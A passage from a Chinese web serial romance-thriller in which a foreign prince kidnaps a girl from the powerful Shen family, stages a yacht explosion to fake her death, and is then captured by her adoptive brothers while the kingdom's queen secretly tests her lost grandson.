女王摇了摇头,看似平静的眸光异常肃穆,“你们在S国作威作福算什么本事?真有本事就该在A国也横着走,顶着王室光环都玩不过人家,你还有脸哭?” 白迪雅怔然,这才知道触怒了母亲,赶紧跪下求饶,“母亲。” “退下。” 女王不欲多言,直接下了逐客令。 “是。”白迪雅不敢忤逆,小心退出了寝殿。 “帕塔妮,你过来瞧瞧。” “是。”女侍上前,恭敬跪在女王脚下。 白朱拉点着资料上的署名,眼里满是慈爱,“你瞧瞧,这字写的多好?可惜了,A国的文字出了名的生涩难懂,这孩子能写成这样,真是厉害。” 帕塔妮已经年逾六十,从十二岁进宫就一直伺候白朱拉,主仆俩相处的时间比女王的孩子们还长,是故白朱拉很是信任这位女侍。 “亲王冕下聪慧无双,小殿下自然也不会差到哪去?” 白朱拉点头,“言辞间进退有度,心中有丘壑,一看就不是通俗之辈。沈家倒是把他教养的很好。” 帕塔妮,“您记挂小殿下二十年,既然人已经找到了,何不把殿下接回来。” 白朱拉眸色瞬间投下极重的投影,“皇室并不太平,这几年白冽的野心越来越大,若是突然宣布那孩子的消息,只怕又是一场灾祸。再则,他在沈家待了五年,突然告知他自己的身世他未必能接受,就算接受,也未必会回来。所以这件事,还得从长计议。” 正说着,隔壁书房传来电话铃声。 帕塔妮脸色微变,起身转进了书房。 这个点,不是头等重要的大事根本打不进来。 白朱拉收敛神情,盯着手里的资料愣神,过了一会儿,帕尼塔小跑出来,双手奉上手机。 “陛下,沈家那位,听着口气不善。” 她没找沈家的麻烦,沈庄倒是先找上门来了?白朱拉接过电话,语气随和,“沈先生。” 沈庄那边不知说了什么,白朱拉的愣了愣,沉声,“若真是这样,我会给你一个交代。”说罢,便挂了电话。 帕塔妮小心观察女王脸色,“出什么事了?您看上去似乎并不高兴。” 白朱拉略带沉思,“沈庄说,阿密绑架了他的孙女,若是我不管教,他就替我管教了。” 帕塔妮怔然,难以置信,“陛下,是不是有什么误会?阿密殿下怎么会无缘无故挑衅沈家?” 白朱拉头疼捂着额头,“他那赖猴一样的性子有什么不可能?别忘了,两年前是谁一言不合就炸了南湾码头,现在绑个人又算什么?” 帕塔妮想想白密的为人,一时辩解不了。 白朱拉思忖片刻,把电话递给帕塔妮,“打电话给侍卫长。” * 侍卫长正拿着望远镜侦查敌情,忽然腰间的手机振动,他看了一眼,脸色肃穆,赶紧接通,“陛下。” “在哪?” 侍卫长不敢隐瞒,“金海港口” “阿密绑架了沈家的小姐?” 侍卫长顿时头皮发麻,“是。” 之后,不等女王追问,便将全部事如实交代了一遍。 “陛下放心,属下会看着殿下,这场闹剧很快就会结束。” “不。”女王打断他,“我现在命令你,倾尽全力助阿密,最好是能把人绑来S国,不要让那群A国人小看了我们S国的王庭勇士,明白了吗?” “是!” 侍卫长原地立正,眼神顷刻间染上了血性。 * 挂了电话,白朱拉从王座上起身,轻轻拍了拍帕塔妮的肩膀,“告诉安缇,她的机会来了,如果她能把新主子带回来,我便赦免她。” “是。” 帕妮塔俯身跪拜,躬身退出的寝殿。 女王略有些伤感,从枕下的拿出一只复古怀表,怀表翻开,里面是一张老旧的照片,男人装着海军司令服,胸前挂满了各式各样的勋章,女人穿着蓝色的古典纱裙,他们怀里共同托举着一个精致粉嫩的婴儿。 “别怪阿妈狠心,若他不能成为领头狼,回来也只会被撕得粉碎。” * “殿下。”侍卫长推门而入。 白密正躺在沙发上玩飞镖,淡淡扫了一眼,眼睑微眯,“怎么了?” 侍卫长犹豫片刻,抬步都到白密跟前,“殿下,沈家人失信,现在整个金湾的警察都出动了。” 他并未急着告诉白密认错人的事情,因为他很清楚,白密有轻度脸盲,又极度自信,一时半会儿根本说服不了。 白密挑眉,兴致盎然把玩手里的飞镖,“这就对了,要是真为了不相干的人去死,那才是脑子被驴踢了。” 侍卫长不欲,静待下文。 “不过,都警告过她一个人来了,这么不把我的警告放在眼里也是不行的。”白密随手一甩,飞镖正中靶盘红心,他慢悠悠起身,“你刚刚说整个金湾的警察都出动了?” 侍卫长点头,“是。” 白密歪了歪头,“那就给他们准备一点惊喜吧?不然,沈家人还真以为我白家怕了他们。” “是。” …… 第488章 赌一个侥幸 金湾区隶属南湾,车程不过半个小时。 白密的定位被锁定后,金湾港口立马陷入了封锁状态。 沈庄年事已高受不住奔波,沈让和沈娇留在南湾照应,其余人直奔金湾。 金湾的港口规模只有南湾渡口的一半,此时海面一片宁静。 咸涩的海风送来潮湿的水汽,渔火船眠,微漾的波光与城市霓虹交相呼应碎成海面流动的星河。 金湾署长收到消息便马不停蹄赶到现场亲自指挥行动,马温也不愿错过攀附沈家的机会,带领南湾警署厅上百号精锐跨境协助营救。 沈家众人赶到海港码头时,金湾警署已经提前完成了船员的撤离工作。 此时,目标游艇正停靠在7号码头,床舱里灯火通明。 “现在什么情况?” 虽然邓砚和马温的官职是里面最高的,但这次营救工作还是默认以沈兰晞为中心。 邓砚不敢马虎,“沈少爷,警署厅的兄弟已经埋伏好了,从我们接管这里后,游艇上的人一直没有动静。” 沈清予有些不耐,“那还等什么?上去救人啊!” 沈眠枝轻轻拽住沈清予,小声劝道,“清予哥,你冷静点。” 沈兰晞抬眸看向游艇,思忖片刻又转头看向沈归灵,“爷爷那边怎么说?” 沈归灵,“白家那边没有明确回复。” 他顿了顿,声音格外冷静,“先救人,我总觉得有些不对劲。” 傅绥尔跟着附和,“是啊,兰晞哥,先救人吧。” 沈兰晞眼睑下沉,“让他们上船。” “好。”邓砚应下。 就在这时。 “砰——” 突然! 平静的海面乍起一声惊天巨响,声势之浩大,连方圆二十米都能感觉大地在颤动。 “爆炸了!起火了!快跑!” 有人惊呼了一声,码头众人顿时脸色惊变。 停靠在七号码头的目标游艇发生了连续爆破,霎时海面凭空升起燎原大火,熊熊火势毫无预兆降临在一双双僵滞失神的眸底。 沈归灵最先反应过来,冲出掩护区直奔七号码头。 “少爷。” 雷行吓了一跳,唯恐沈归灵做出什么不理智的事,赶紧跟了上去。 沈兰晞只觉眼前一片晕眩,等反应过来时,所有人都已经跑了出去,唯有他站在原地不动。 “少爷。”高止此时的脸色格外凝重,正要抬手搀扶却被沈兰晞一把推开。 他垂眸,眼睁睁看着自己的五指不受控制地抖动,渐渐地,眼里的淡漠结成了冰霜。 “少爷,你先别急,姜小姐……” 不等高止说完,沈兰晞直接越过他,快步朝炸如天光的海面走去。 火焰吞噬只在一瞬间,余烬残骸被湿咸的海风送上彼岸。 “快!快来人!通知消防局,快救火!” 邓砚和马温被这一转变吓得差点丢了魂,还没反应过来有人纵身跳进了深海。 “刚刚那道身影…?” 马温脸色惨白,不敢相信看向邓砚,后者更是绝望,便身后属下大喊,“快!快下去救人!” 四处游散的人群,被人拖回去的傅绥尔,被吓傻的沈眠枝,不顾劝阻冲进火海的沈清予。 一时间,夜幕下的宁静被打破,海岸口像一锅煮沸的水。 但这一切好像都与沈归灵无关,他一瞬不瞬盯着海面,清明的眸底倒映着窜天的火光。 片刻后,他闭了闭眼,一把揪住惊慌失措的马温,“通知南湾舰队,封锁所有进出港口。” 马温愣了愣,“可是……” 沈归灵抬眸,温和的假面已然被彻底撕碎,眼神冰冷死静,“马上去。” 马温忽然感觉背脊发凉,咽了咽嗓子,“是……是。” 沈归灵淡淡松手,转头看向沈眠枝,“打电话给爷爷,请他向鲸港总军司令部申请巡航令,顺便再调取今晚海港七点到九点的卫星影像。” 沈眠枝一下惊醒,红着眼眶点了点头。 “再告诉五叔,让暗堂的人沿着内海去找人。”沈兰晞双手插兜,神情冷漠从人群里走了出来。 沈眠枝眼里闪着细光,“好。” 傅绥尔被强行拖拽远离火源,原本还想奋力挣扎,听见沈兰晞的调度忽然就安静下来了。 “兰晞哥,你什么意思?你是说衫衫不在里面?” 沈兰晞看着海面,眼里的冰霜已经封到了心底,“我不知道,赌一把。” 他和沈归灵不过都在赌另一种侥幸而已。 如果绑架姜花衫的真的是白家,爷爷已经跟白家女王通了电话,那么白密现在应该已经知道自己被暴露了,正常来说,他没有杀姜花衫的理由。 因为姜花衫一旦出事,白家和沈家将因此事彻底决裂,从两国目前外交政策来看,与沈家撕破脸不仅对白家没有好处,还会影响白家王室在S国民众心中的地位。 这并不划算。 但,这是正常逻辑。 为什么说是侥幸,因为众所周知,白家人都不正常。 白家人因为出生便拥有了统治公民的权利,所以他们或多或少都有些自以为是。 比如白峥,他也是明知姜花衫和沈归灵是沈家人就敢动手的,谁知道这个白密会不会也是个疯子? 今晚金港码头的大火与两年前南湾大火如出一辙,敢这么放肆显然是没有把任何人放在眼里。 所以才说是赌。 因为实情不明之前,他们要排除任何可能影响判断的因素。 万一侥幸是对的,便没有错过救人的最佳时期。 万一……这份侥幸只是奢望,他们也不能在这场埋葬了姜花衫的大火面前倒下。 起码,要撑到无法逃避的最后一刻。 “赌?”傅绥尔喃喃自语,片刻后印着火光的眸底恢复了清明。 她回头,双手合十对着大火祈祷。 虽然不知道为什么自己忽然拥有了无与伦比的幸运,但此刻,她愿意用此生所有的幸运赌这一个侥幸。 “沈少爷!” 恰是这时,沈清予双手撑着岸堤,从海水里爬了上来。 邓砚大喊祖宗保佑赶紧上前搀扶。 天知道当他看见沈清予跳进火光那刻有多绝望,沈家少爷要是在他的地盘出事,以后整个金湾警署厅都别想再有好日子过了。 沈清予淡淡推开邓砚,冰冷的海水顺着锋利的下颌线呈珠串式掉落。 他抬眸,迎着海风看向沈归灵和沈兰晞,“我刚刚突然想到,小花儿可能不在船上。” …… 第489章 没有一个省油的灯 “哈~” 白密将手里的爆破遥控器一扔,转身枕着双臂悠哉躺了回去。 “沈家人不是都喜欢自以为是吗?看这次不把他们吓死!” “……”姜花衫一脸无语看着沙发上的粉毛。 明明之前说好了等绥尔过来,但这家伙却突然反悔。 刚刚爆炸的声音已经惊动了整个海岸,为了防止火势蔓延,所有停靠的船只被勒令转移。 就这样,他们所在的小货船顺理成章出了金湾码头。 “殿下,接下来您打算怎么办?” 侍卫长虽然没有拆穿姜花衫,但也一直提防着她,每次商量正事用的都是S国国语。 戏耍了沈家人,白密心情大好,“姜花衫既然已经通知了沈家,只能下次再想办法抓了。我们先出A国内海,出了内海再好好跟沈家人玩。” 他的想法很简单,沈家在A国权势滔天,碍于A国国情他斗不过,但出了A国国界可就不一定了,到时候有仇报仇有怨报怨。 侍卫长一直谨记女王的交代,趁机鼓动,“殿下,不如先回S国?” 白密摇头,“回S国被老太婆削吗?去拉缅,那里可没人管你是白家人还是沈家人。” 侍卫长皱眉,还想再劝。 “行了,你去安排吧,”白密不耐,架起长腿朝姜花衫勾了勾手指,“你,叫什么来着?” 姜花衫,“傅绥尔。” 白密眯眼,盯着她打量,“你们沈家人还真是有趣,被抓了都没有一点害怕的?” 姜花衫不语,状似不在意瞥了白密一眼,立马又低下头。 之前看照片时她就隐隐觉得白密的眼睛和沈归灵肖似,如今看到本人,某种呼之欲出的悬念越来越强烈。 按照剧目的发展规律,他们现在一定正处于某段故事剧情里,也就是说,她被白密绑架有可能是剧目为了促成某个结局的刻意安排。 白密不放人,沈家一定会倾巢出动,沈归灵也就不可避免与白家有了交集。 蓦地,姜花衫眼睛一亮,好像抓住了混乱思绪的重要引线。 难道还真被她猜中了,沈归灵的妈妈是白家人? 如果真是这样,正好解释了沈归灵为什么会被爷爷驱逐出A国。 因为他是S国出逃王子?! 好像也不对! 以爷爷格局,就算知道自己养错了孙子没必要严惩沈归灵,更何况还是驱逐出境。 还没等她想明白,脑勺挨了一记葡萄打。 “胆儿挺肥的?问你话还敢走神?看来是真不怕?” “……”姜花衫抿了抿嘴角,一脸无害抬起头,“我……我怕啊,就是因为怕才不敢乱说话的。” 白密斜眼乜了她一眼,随手拿了个柑橘,“既然你也是沈家人,两年前沈家在南湾杀死白峥的事,你应该也清楚吧?” 姜花衫摇头,“是海匪杀了白峥,跟沈家人没有关系。” “……”白密皱眉,坐起身,“你还真是不见棺材不落泪,信不信我现在就把你丢进海里喂鱼?” 姜花衫沉默,没有吱声。 她心里很清楚,只要她不刻意激怒白密暂时是不会有危险的,这家伙要真想对她不利,就不会拿一艘空游艇去吓唬沈归灵他们了。 说到底,白密的恶只是性格恶劣,并非白峥那般没有人性。 “说话。” 白密剥下橘皮对着姜花衫又砸了过去。 “……” 不但性格恶劣,还没有素质,喜欢乱扔垃圾。 姜花衫忍着脾气,“我真的不知道说什么?” 白密冷笑,“你还不知道说什么?青年杯一号辩手,一封《致无能的总统先生》掀起A国民众跟风热潮,连孔茂林那个老古董都对你赞不绝口,整个沈家最爱出风头的就是你,还想糊弄我?” “……”姜花衫无言以对。 白密将她的沉默视为心虚,“别人看不出你的野心,不代表我也看不出,我劝你最好识相一点,我对沈家的女人可没什么耐心。” 这话隐约有些一丝危险,到底是白家王室的人,怎么能忍受被一个女人愚弄? 他只是脸盲,并不是真的没脑子。 眼前局势不适合硬刚,姜花衫想了想,委婉开脱,“沈家有沈家的规矩,女子不能掌权,所以你问的我的确不知道。” 白密挑眉,满是不屑,“狗屁规矩。” S国有女王,王室公主同样具有王位继承权,所以白密是真看不上沈家这规矩。 不过来A国这两年,他已经了解了这个国家的国情,知道姜花衫所言非虚。 在这里,别说女总统,就算是女家主都少之又少。 白密并未为难,又换了个话题,“两年前的南湾之夜,除了姜花衫,还有谁不在沈家?这你总该知道吧?” 都住在一个园子里,这个问题的确不好回答不知道。 姜花衫想了想,认真道,“那天啊,我记得很清楚,衫衫突然失踪,大家都很着急,除了爷爷,所有人都不在家里。” 你慢慢筛选吧。 “……”白密冷眼瞥了她一眼,“白峥旧部曾说过,有两个极为年轻的少年上了‘路西法一号’,当时船上已经开火,那两个年轻人前后去了白峥的房间,但后来出来的却有三个年轻人。” “依照那些旧部的描述,应该有一个当时就跟白峥在一起,也就是说杀死白峥的是你三个傻逼哥哥中的一个?” 怎么说着说着就长脑子了,果然,走正经剧情的时候,这里面就没有一个省油的灯。 姜花衫原本只是暗暗腹诽,突然反应过来,脸色微变,“你一开始就知道?所以你并不是因为姜花衫变卦才生气炸船的?你……” 白密抬眸,笑容恣意,“现在,他们应该已经都追过来了吧?” 趁着这个机会,他正好可以找回白峥那份绝密档案。 …… 第490章 我跟她换 “……” 姜花衫看着眼前的粉毛无常,一时不知道该说什么。 别的不说,就凭白密炸船制造假死吓唬沈家人这一点,爷爷就不会放过他。 更何况他的马甲早就已经掉光了,跑的了和尚跑不了庙,以沈家人的性子,现在就算是白家女王亲临白密也逃不了一顿毒打。 白密皱眉,“你那是什么眼神?” 姜花衫努力挤出一丝害怕,“没什么。” 她又想了想,斟酌问道,“你不喜欢沈家,你和沈家有仇?刚刚听你一直追问白峥的事,你是白家人?” 气氛顿时微妙起来。 “叩叩——” 这时,侍卫长推门而入。 “殿下,他们追上来了。” 白密微怔,略有些不可思议,“这么快?” 还以为刚刚那场爆炸会拖延一点时间,没想到沈家人这么快就反应过来了,还真是一点都不能小瞧他们。 白密想了想,指着姜花衫,“先把她关起来,给港口发送求救信号,另外加快速度,天亮之前我们必须要赶到拉缅。” “是。” 随后,姜花衫被关进了一个封闭的小房间,房间里只有一扇很小的圆窗,但因为天色已暗,连月光都吝啬光临。 她无所事事只能靠着墙角入睡,眼下被困在大海没有她施展的空间,她只能蛰伏。 * 游艇被炸的消息传回南湾时,沈庄震怒,鲜少外露的情绪这次彻底爆发,一连给鲸港军区总局打了三个施压电话。 十分钟后,总局向驻扎南湾部队发送了金湾港口爆炸前两个小时的卫星定位影像。 通过技术追踪,信息员很快发现了白密的计划。 原来白密一直潜伏在金湾一号码头,但他发送的定位却是在七号码头,游艇爆炸后,他立马从一号码头疏散出海,即便沈归灵已经第一时间吩咐南湾封锁海岸线,但还是为时已晚。 眼下,白密的‘冒险号’正以每小时83海里的速度向S国海域靠近。 看过影像分析,沈让气得太阳穴突突,“谁说白家这小子傻的?傻中带精简直防不胜防。” 沈娇一开始听说港口发生了爆炸,吓得心跳都停了,如今确认姜花衫不在游艇里,心一下又落回了原地。 但这么一惊一乍免不了恨上了白家那个始作俑者,怒道,“他这是打算把衫衫拐去S国?白家人怎么都这么不要脸?” 前有白峥,后有白蒂娜,如今白密的行为实在很难说服沈家不下狠手。 沈庄拄着拐杖重重震地,不怒自威,“告诉兰晞他们,不计任何代价务必把人给我带回来。” 沈让点头,迟疑道,“爸,他们三个毕竟还年轻,要不我现在去金湾支援?” 沈庄摇头,“敌人可不会等他们长大了才开火,妹妹都已经差点死在自己面前,成长还需要时间?让他们去,要是带不回小花儿他们自己都交代不了。” 沈娇面露担忧,看着墙上的挂钟。 此时距离姜花衫消失已经过去了整整六个小时。 * 此时的内峡海域。 湍急的浪花如泡沫般向两边翻涌,数不清的巡海舰如同海上伏出的巨兽,在深雾中潜行,船侧的探照灯如同天外光束穿过厚厚的白雾向四面八方扫射。 沈兰晞、沈归灵、沈清予三人分别乘坐在不同的战舰上,呈包抄模式向内峡驶进。 会议室里,沈归灵正在研究了白密窜逃路线,耳麦里突然传来沈清予的声音。 “刚刚抓到一只替身货船,那个狗东西,还真小瞧他了,学校学的那点诡计全用到我们身上了。” 沈兰晞,“我这边已经追击到三艘货船,从进内峡后,船只明显多了起来,部署如此周密,一环扣一环绝对不是临时起意。” 沈归灵不语,一直盯着白密的撤退航线轨迹。 沈清予,“过了内峡就出了A国公海了,这里有三个岗哨可以联通S国,你们说那狗东西会往哪里去?” 沈兰晞,“一二港口驻军最高指挥使是白冽,他虽然不是女王嫡支,但却是白冕之后S国最有能力的亲王,他和白密有王位之争,未必会助他。” 沈归灵出声打断,“但若白密在白冽掌控的海域被生擒,这个脸他一样丢不起。” 沈兰晞立马陷入了沉默。 的确如此,他们已经赌赢了一次,所以接下来的每一步都不能再存有侥幸心理。 沈清予,“怎么说,到底怎么拦截?” 沈兰晞,“一号港口是S国的正国门,我去那。阿灵去二号,清予你去三号。” 沈归灵和沈清予几乎是异口同声,“好。” 在重大危机面前,三人表现出了前所未有的团结,就算平时相互之间不服气,但绝不会在大事面前拎不清。 * 凌晨一点,两个巴掌大的玻璃窗里终于透进了一丝月光。 “吱呀——” 侍卫长推门而入。 姜花衫眼睑微颤,慢慢睁眼。 幸好来南湾的路上她睡了一路,不然这么奔波她哪吃得消? “起来,跟我走。” 好汉不吃眼前亏,姜花衫顺从起身。 两人刚走出船舱,正巧碰上白密从房间里出来,他不甚在意扫姜花衫一眼,将手里的枪支塞进后腰。 姜花衫皱眉,欲言又止,“你……” 白密没时间搭理她,摆摆手,“后面的事就用不到你了。” 还没等姜花衫搞清楚这货的意思,侍卫长直接推了她一把,“快走。” 姜花衫差点扑倒,冷不丁被灌了一口冷风,抬眸时才发现海面上停摆着数十艘一模一样的货船。 “……” 侍卫长推搡着她走上临时搭建的甲板,很快两人转移到了另一艘货船。 白密站在船头,随意扬手,数十艘货船同时启航向四面八方散开。 深晚的海风又湿又冷,货船之间的距离渐渐被拉远。 姜花衫隔着重重迷雾打量白密,脑子里的疑团越来越大。 侍卫长还是一样地冷酷,指着船舱里一条狭窄的通道,“下去。” 再这么下去不是办法,总要想办法查探一点信息。 姜花衫打定主意后,主动开口,“你们要把我带去哪?你应该知道我的真实身份吧?” 之前这个男人还想让白密把她放回去,说明他根本不想惹麻烦,但没过几分钟他就改变了主意? 这其中定然有原因。 侍卫长根本没把一个小丫头片子放在眼里,冷冷拽着她手里的绳索往前带路。 姜花衫不甘心,小步跟在身后,“要不你把我放回去吧?这事闹大了你同伴可能会没命的。” 侍卫长脚步一顿,隔着面具打量她。 “我是说真的。”姜花衫表情诚恳,“就你同伴那智商,我一个哥哥他都对付不了,更别说三个哥哥合体了。” “……” 没等侍卫长反应,腰间的电话突然发出震动。 他眼眸微凝,犹豫片刻立马接通,“陛下。” 这次他更小心,用的是带口音的S语。 只可惜,防了个寂寞,姜花衫表情错愕,未免侍卫长看出异样赶紧低下头。 陛下?! S国那位女王大人?! …… 第491章 炸船 “!” 安缇和白密的心同时悬了起来,尤其是安缇,刺杀王族可是大逆不道的重罪,来不及思考,她立马松开了手里的短刃。 如此,正好中了沈归灵的下怀,他先是扣住安缇的手腕用力卸了她的关节,然后出脚把人踢飞了半米远。 解决完安缇,他顺手用锁链锁住白密的脖子,拽着铁索一脚踹向其下腹。 要看身体飞出去又被拽回来继续挨踢,如此周而复始,一连拉扯了十个几回合,沈归灵才勉强消了一点气,捡起掉落的手枪抵着白密的太阳穴。 “……” 白密被打得有气进没气出,但从头到尾都没有哼一声,就算沈归灵拿枪指着他,他也丝毫没有惧意。 安缇看得心惊胆颤,咽了咽嗓子慢慢站了起来。 “你别乱来!” “人呢?”沈归灵面无表情,声音没有一丝起伏。 白密哼笑了一声,身体不受控制摇摆,“你早就看出来这是个圈套,上船不过是想引我上钩?” 沈归灵转眸,拿着枪对着白密的太阳穴砸了过去,“人呢?” 白密顿时眼底充血,身体更大幅度摆动。 安缇已经见识到了沈归灵的手段,生怕他没轻没重当场杀了白密,连忙喊话,“住手!放开殿下。” A国和S国之间还有联盟合约,这个时候暴露身份无非是为了保住白密的命。 谁知,沈归灵充耳不闻,一把拽着白密的头发,毫无征兆又是一顿暴打。 安缇没想到温文尔雅的白冕亲王竟然生了个性格如此暴躁小殿下,顿时僵持在原地。 沈归灵身手不凡,手里又有枪,侍卫们不敢贸然行动,犹恐惹怒了他,这祖宗反手给白密一梭子,到时候整个船上的人都要跟着陪葬。 安缇无奈,只能大喊,“住手!!你现在殴打的是我国的白密殿下,我现在以S国王庭侍卫长的身份警告你,停止攻击!” “你说这个粉毛是白密?你当我不认识白密?”沈归灵一脚踹向白密的膝盖,迫使他跪地屈服,“你们胆子不小,竟然蓄谋挑起A国和S国不睦?我最后再问一次,人在哪?” 竟然不认? 安缇始料未及,这才意识到,沈归灵不管下手再狠都没有动白密脸上的面具,显然是早就留了后手。 侍卫们此刻也慌了神,不约而同看向安缇。 安缇冷汗直流,犹豫片刻,正要妥协…… 突然! “嘟呜————” 海面传来一声嘹亮的汽笛声。 只见茫茫大雾深处,依稀浮现巨轮战舰的影子,那虚影纵身足有300米,形似深海巨兽,船桅顶端的番旗迎风猎猎。 安缇终于缓了一口气,朝着巨轮战舰挥舞双臂。 随着战舰逼近,白雾渐渐散去,巨轮上空的雄鹰团旗赫然出现在众人面前。 这是白家王庭的第一海舰军团,番号苍鹰,总军指挥使为目前王室唯一亲王,白冽。 白密脸上微变,不着痕迹瞥了安缇一眼。 他就知道这个女人不可信,突然找上门说什么奉女王令协助他回国,结果一点忙没帮不说,还勾搭上了白冽这个阴人。 S国的登陆舰一出,围攻的巡海舰立马就显得不够看了。 一个长相斯文的男人在众军拥护下上了货船。 沈归灵神色愈发深沉,白冽竟然放着正国门不守,在这后门蹲他。 看来,白密真的是冲他来的。 看见白冽的那刻,白密眼底闪过一丝厌恶,但因为受制于沈归灵只能忍气吞声。 白亲王这一脉,也只有白冽继承了白家人的瑞凤眼,但他眼睑过于上扬呈阴柔之相,再加上眼眸留白过多,形似而神不具,威慑有余而贵气不足。 白冽环顾一圈,目光在沈归灵脸上停留了片刻才开口,“沈少爷,这里不是A国公海,你对王族之人行凶是不是太不把白家放在眼里了?” 说罢,垂眸看向白密,“丢脸丢到家门口了,你还真是会给陛下长脸。” 白密脸色不善,冷笑了一声没有接话。 白冽抬手,眼里根本没有沈归灵,“还不去接殿下回来?” “是。”侍卫们应声上前。 谁料,沈归灵根本不讲道理,抬脚对着白密的后脑勺踩了下去。 “!” 白密脑子嗡了一下,待意识到发生了什么后,侧着脸又恨又惊看着他。 沈归灵,“你们白家的王子绑架了我们沈家的小姐,人到现在还没有还回来,到底是谁不把谁放在眼里?” 话落,南湾战舰的士兵从四面八方登船,两军对垒。 白冽皱眉,眯着眼打量沈归灵,不知道为什么,眼前的年轻人让他感觉很不舒服。 安缇看了白冽一眼,主动上前解围,“沈少爷,这其中是不是有什么误会?白密殿下不过是思乡心切着急归家,船上并没有你所谓的沈小姐。” 沈归灵眸光冰冷,波澜不惊打量安缇。 安缇轻咳了一声,硬着头皮继续道,“你要是不信,大可让你的人艘船。” 白冽看了安缇一眼,皮笑不笑,“这倒十分好主意,凡事都要讲证据,既然你说白密绑架了沈家小姐,那就搜船。若搜出你们的人,我们白家定会给出一个合理的交代,但若搜不出……” 沈归灵直接打断,转头示意南湾海兵,“搜。” 一声令下,众人立马奔向船舱。 白冽脸色不愉,但考虑到涉及两国邦交,也只能隐忍不发。 二十分钟后。 南湾海兵原地集合,一无所获。 对于这个结果沈归灵早就猜到,白家人敢让他搜定然是有所依仗,但就算如此,他也不想错过万分之一的可能。 “如何?” 白冽抬着下巴,颇有些上位者的姿态,“现在是不是该换沈少爷给我白家一个交代了?你现在涉嫌谋害王室人员,还请阁下随我回S国接受调查。” 沈归灵置之不理,再次向士兵们求证,“你们确定从里到外都搜干净了?” 士兵们点头,神色难看,“长官,我们都搜过了,姜小姐确实不在船上。” 白冽故作姿态,“沈少爷要是不放心,大可再搜一遍。” “不用了。”沈归灵笑了笑,突然拿出一个小型遥控器,“这下,我就放心了。” 白密顿时脸色煞白,这不是他的炸药遥控吗。 “别动……” 不等他说完,沈归灵直接按下按钮。 “砰——” 一声惊天巨响,大雾被火光烧穿了。 …… 第492章 缴旗 炸弹引爆了货船底部的钢板,一时间大量海水灌入船内,甲板大肆倾斜,船身以肉眼可见的速度在下沉。 大火迅速蔓延覆盖了一切。 甲板上的人不是被爆破震飞,就是被火光驱赶纷纷跳海逃生。 白密抱着一块木板在翻涌的海浪里浮沉,他难以置信看着眼前发生的一切,此时脸上的面具已经碎裂成两半。 沈归灵是个疯子吧? 要不是他留了后手,减轻了炸药的威力,现在所有人都已经葬身大海了。 “长官。” 南湾护卫舰的全面出动,沈归灵速度爬上救生艇。 白密见状,这才想起逃命要紧,但沈归灵根本不给他机会,一把拽着锁链将他拖进了海底。 “咕噜~咕噜~” 白密不防被呛了一口水,好不容易浮上水面又被沈归灵拖着在海面滑行。 这简直就是魔鬼。 安缇原本还想趁乱解救白密,见此情景当即放弃,转头往巨轮游去。 沈归灵立在船头,从下属手里接过狙击枪,单眼瞄准在海面等待支援的白冽。 “传我令,S国苍鹰海军团与海匪勾结炮轰南湾护卫舰,国威不可挑衅,A国军魂在上,绞杀苍鹰海军团扬我国威!” “砰——” 一声枪响,白冽的肩胛被射穿,鲜血喷涌飞溅在海面顷刻间沉入海底。 …… * “呜笃——呜——” 凌晨三点。 S国王城首都上空突然拉响军袭警报,首都人民被惊醒后再也无法入睡。 女王一夜未眠,站在偌大的玻璃窗前眺望远方。 帕塔妮双手合十,轻声汇报,“前线刚刚传来的消息,白冽、白密两位王子已经被俘,苍鹰王旗被夺,眼下各路元帅都等着您一声命下,摘了小殿下的头。” 白朱拉笑了笑,眼里隐隐泛着水花。 “他这性子倒是和阿冕一点儿都不像,更像他的曾祖父。” 谁不知道女王和白普大帝感情颇深,当初白冕殿下便是因为有八分肖似白普大帝,女王便给足了偏爱,现在这位小殿下不仅神似大帝连性子都如出一辙,以后S国还有谁能和小殿下争? 帕塔妮笑着应和,“毕竟血液里流淌着大帝的血脉,祖宗保佑。” 白朱拉心情大好,原本不过是想测试一下沈归灵的能力,没想到他竟然给了她这么大的惊喜。 “那个沈家的小姐现在在哪了?” “已经到拉缅了。” 白朱拉,“让侍卫长把人带回王都,这件事也该了结了。” 帕塔妮俯身应道,“是。” * 南湾。 “什么?!你说什么?!” 沈谦连夜赶来南湾,屁股还没坐热就听见前线传来沈归灵揭下S国第一军团苍鹰王旗的消息。 众所周知,战场上番旗一旦被夺,番号将被永久剥夺永不录用。 这对S国王军来说可算是莫大的耻辱。 沈庄皱眉,“你吆喝什么?一惊一乍的?!” 沈谦脸色讪讪,“爸,这已经算是捅破天的大事了,那可是S国的王军,阿灵闯下这么大的祸,弄不好我们明天就要和S国开战了。” 沈让面露担忧,难得附和沈谦,“是啊,爸,这事是不是闹得太大了?” 沈娇皱眉,“大什么大?衫衫还没找回来,拿他们一面王旗怎么了?” 沈谦懒得跟沈娇废唇舌之争,神色凝重,“爸,要真开战,我们沈家可就成了A国的罪人了。” “打不了仗。”沈庄处变不惊,“阿灵做事向来有分寸,我相信他。幺儿说的没错,现在最关键的还是小花儿,事情闹成这样,白朱拉也不能睁只眼闭只眼了,我们再看看。” 在沈家,老爷子就是定海神针,他说开不了战就必然开不了战。 沈谦顿时心宽了不少,他好不容易坐稳议员长的位置,可不能轻易被连累,就算是自己的亲生儿子也不行。 * 与此同时,南湾哨港审讯室。 “什么?!” 白密傻愣愣看着突然出现的傅绥尔,脑子像炸开了花似得嗡嗡作响。 “你说刚刚说你不是姜花衫,那个叫傅绥尔的才是姜花衫?你叫傅绥尔??” 傅绥尔:“……” 白密接受不了,情绪激动,“你们骗我??!” “……”傅绥尔冷脸,“一开始是你自己认错人的,再说,你是绑匪我们是人质,骗你不是很正常吗?” “跟他废什么话?!”沈清予顺手拽住白密脖子上的锁链,“说!你把小花儿藏哪去了?” 白密顿时感觉上气不接下气,咬着后牙槽,“你们这辈子都别想知道那丫头去了哪?” “你……”傅绥尔怒极,对着白密的脑门直接就是一爆锤,“你是不是有病啊?!衫衫又没有招惹你,你干嘛跟她过不去?!” 白密原本已经放弃挣扎,被傅绥尔打后突然暴动,“你个死丫头,你敢打我,别忘了当初是我救了你!” 傅绥尔劈头又是一掌,“不是你救了我,是我的运气救了我。少废话,快说,你把衫衫藏哪去了?” 白密气到了大动脉,冷笑,“我说了,你们这辈子都别想知道。” 正说着,审讯室的门突然打开,沈归灵和沈兰晞一前一后走了进来。 白密原本气焰嚣张,在看见沈归灵后,眼神忽然变得复杂。 沈兰晞神色冰冷,“他还是不说?” 沈眠枝摇头,“耗了半个小时了,一句有用的都没说,兰晞哥,要不要动刑?” 吓唬谁?白密乜了沈眠枝一眼,他毕竟还是S国的王子,只要两国不开战,他们就不敢对他用刑。 